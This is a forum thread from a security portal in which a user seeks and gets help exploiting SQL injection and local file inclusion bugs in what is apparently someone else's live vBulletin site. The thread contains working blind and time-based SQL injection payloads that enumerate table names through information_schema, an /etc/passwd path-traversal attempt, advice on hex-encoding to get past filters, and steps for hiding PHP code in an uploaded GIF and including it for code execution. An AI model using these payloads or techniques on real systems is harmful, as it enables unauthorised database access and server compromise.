Waraxe IT Security Portal
Login or Register
September 17, 2026
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 684
Members: 0
Total: 684
Full disclosure
[0day-rubbish] Royal Server 5.04.50529.0 Local privilege escalation to LocalSystem on the execution path without credential override (7.2)
[0day-rubbish] core-admin 1.0.164 (build 16468) Systemic shell command injection via ineffective quote escaping (8.8)
[0day-rubbish] OP5 Monitor 9.20 Command injection surviving the CVE-2025-34115 patch (OPT-IN fix ineffective) (8.8)
[0day-rubbish] QuantaStor 6.8.3.018 Command injection in the alert-mail command via the smtpPassword field (8.8)
[0day-rubbish] SmarterMail 100.0.9693 (Build 9693) Antivirus command-line configuration executing as NT AUTHORITY\SYSTEM (7.2)
[0day-rubbish] Jitterbit Agent 12.8.1.6 (Docker jitterbit/agent:12.8.1.6) Unauthenticated SOAP with hard-coded credentials leading to OS command execution (9.8)
[0day-rubbish] Accurate Online Private Cloud on-prem (current) Unauthenticated Hessian deserialization leading to JNDI remote class loading (9.8)
[0day-rubbish] DBxtra .NET 13.1.1.0 Unauthenticated SOAP API to xp_cmdshell code execution (9.8)
**Subject:** CVE-2026-2035703: Tozed ZLT X300 5G CPE — Unauthenticated Remote Root Code Execution via TR-069 Command Injection (CVSS 9.8)
CVE-2026-52307: Stored XSS in 1CMS v5.6
HP Easy Start for macOS: CVE-2026-12554 / CVE-2026-12555 /CVE-2026-12556
Next.js 16.4.0-canary.13 Image Optimizer DNS Rebinding TOCTOU SSRF Still Exists
O-CMS 1.0.0 Authenticated OS Command Injection viaai_cli_script
Flextype v1.0.0-alpha.3 CMS registerShortcodes() Remote Code Execution via Attacker-Controlled File Inclusion
Flextype v1.0.0-alpha.3 Stored Fetch Shortcode Allows Server-Side Request Forgery
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> vBulletin Board -> Find DB prefix
Post new topicReply to topic View previous topic :: View next topic
Find DB prefix
PostPosted: Sat May 09, 2009 6:41 pm Reply with quote
delta
Advanced user
Advanced user
Joined: Jan 11, 2009
Posts: 60




Ok, here is the thing:
I have a SQL injection bug in a vb forum, but can't proceed without knowing the prefix of the tables, and already tried all possible prefix's without any luck.

I have a LFI bug in this forum too, but don't have any ideia on how to use this to get the tb prefix.
Already tried to load the config.php, but the page loads ok when i try, and the /etc/passwd gives me this error:

Quote:
Fatal error: Can't load folder/form/../../../../../../../../../../../../../../../../../../etc/passwd, open_basedir restriction. in /home/blabla/public_html/forum/script.php on line 298


If I can cause an error in the DB maybe the VB will show me the prefix in the error, but don't have any idea on how...
View user's profile Send private message
PostPosted: Sat May 09, 2009 6:43 pm Reply with quote
capt
Advanced user
Advanced user
Joined: Nov 04, 2008
Posts: 232




on the sql injection you try using information_schema.tables yet?
View user's profile Send private message Visit poster's website MSN Messenger
PostPosted: Sat May 09, 2009 8:41 pm Reply with quote
delta
Advanced user
Advanced user
Joined: Jan 11, 2009
Posts: 60




No, but maybe works, but will need to re-code the exploit.
Can't test right now, the site is off =/.

I can try to bruteforce the prefix too, but that will take ages and the server is slow =/
View user's profile Send private message
PostPosted: Mon May 11, 2009 2:11 am Reply with quote
delta
Advanced user
Advanced user
Joined: Jan 11, 2009
Posts: 60




Ok, the server is back online, i tried to fetch the prefix using information_schema and it's working fine, i will re-code the exploit now.

Just for curiosity if someone wants, i'm doing:

Code:
%27 AND IF((SELECT length(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE 0x2575736572 ORDER BY table_name ASC LIMIT 0,1)>1,1,0)--+


0x2575736572 = ?%user

After get the length:

Code:
%27 AND IF((SELECT ORD(SUBSTR(table_name,[$POS],1)) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE 0x2575736572 ORDER BY table_name ASC LIMIT 0,1)>1,1,0)--+


Smile
View user's profile Send private message
PostPosted: Mon May 11, 2009 12:17 pm Reply with quote
delta
Advanced user
Advanced user
Joined: Jan 11, 2009
Posts: 60




Hmmm, i have a little problem.

I got it, nvm...

Just for curiosity, why the first one works and the second i get error?

Code:
' AND IF((SELECT ORD(SUBSTR(length(table_name),1,1)) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE 0x2575736572 ORDER BY table_name ASC LIMIT 0,1)>1,1,0)--+


Code:
' AND IF((SELECT 1,1 FROM INFORMATION_SCHEMA.TABLES WHERE ORD(SUBSTR(length(table_name) AND TABLE_NAME LIKE 0x2575736572 ORDER BY table_name ASC LIMIT 0,1)>1,1,0)--+


Other thing, the benchmark is not working as expected:

Code:
' AND IF((SELECT ORD(SUBSTR(table_name,1,1)) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE 0x2575736572 ORDER BY table_name ASC LIMIT 0,1)>1,BENCHMARK(1,MD5('lol')),1)--+


I'm getting error, then tried:

Code:
' OR 1=1 AND IF((SELECT ORD(SUBSTR(table_name,1,1)) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE 0x2575736572 ORDER BY table_name ASC LIMIT 0,1)>1,BENCHMARK(1000000,MD5('lol')),1)--+


But the benchmark don't run =/
View user's profile Send private message
PostPosted: Wed May 13, 2009 5:14 pm Reply with quote
delta
Advanced user
Advanced user
Joined: Jan 11, 2009
Posts: 60




No one? :9

Confused
View user's profile Send private message
PostPosted: Wed May 13, 2009 5:24 pm Reply with quote
-AO-
Advanced user
Advanced user
Joined: Jul 15, 2008
Posts: 205
Location: United States




It's probably because the server is filtering single quotes... use mysql hex encoder

waraxe.us/sql-char-encoder.html

Union isn't working?
Also, you can upload a forum gif to your profile with some php code in it and include that image from the LFI.
View user's profile Send private message Yahoo Messenger
PostPosted: Wed May 13, 2009 6:20 pm Reply with quote
delta
Advanced user
Advanced user
Joined: Jan 11, 2009
Posts: 60




No, he is not filtering, the query:

Code:
' AND IF((SELECT ORD(SUBSTR(table_name,1,1)) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE 0x2575736572 ORDER BY table_name ASC LIMIT 0,1)>1,1,1)--+


Is running fine, nps, the problem is when i use benchmark!.

Quote:
upload a forum gif to your profile with some php code

Vb will allow that?
View user's profile Send private message
PostPosted: Wed May 13, 2009 10:34 pm Reply with quote
-AO-
Advanced user
Advanced user
Joined: Jul 15, 2008
Posts: 205
Location: United States




yes,

open a gif image in notepad... at the bottom put your code.
save as .gif like normal.
include it and code will be ran.
View user's profile Send private message Yahoo Messenger
Find DB prefix
www.waraxe.us Forum Index -> vBulletin Board
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



PCWizardHub - Helping you fix, build, and optimize your PC life
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.035 Seconds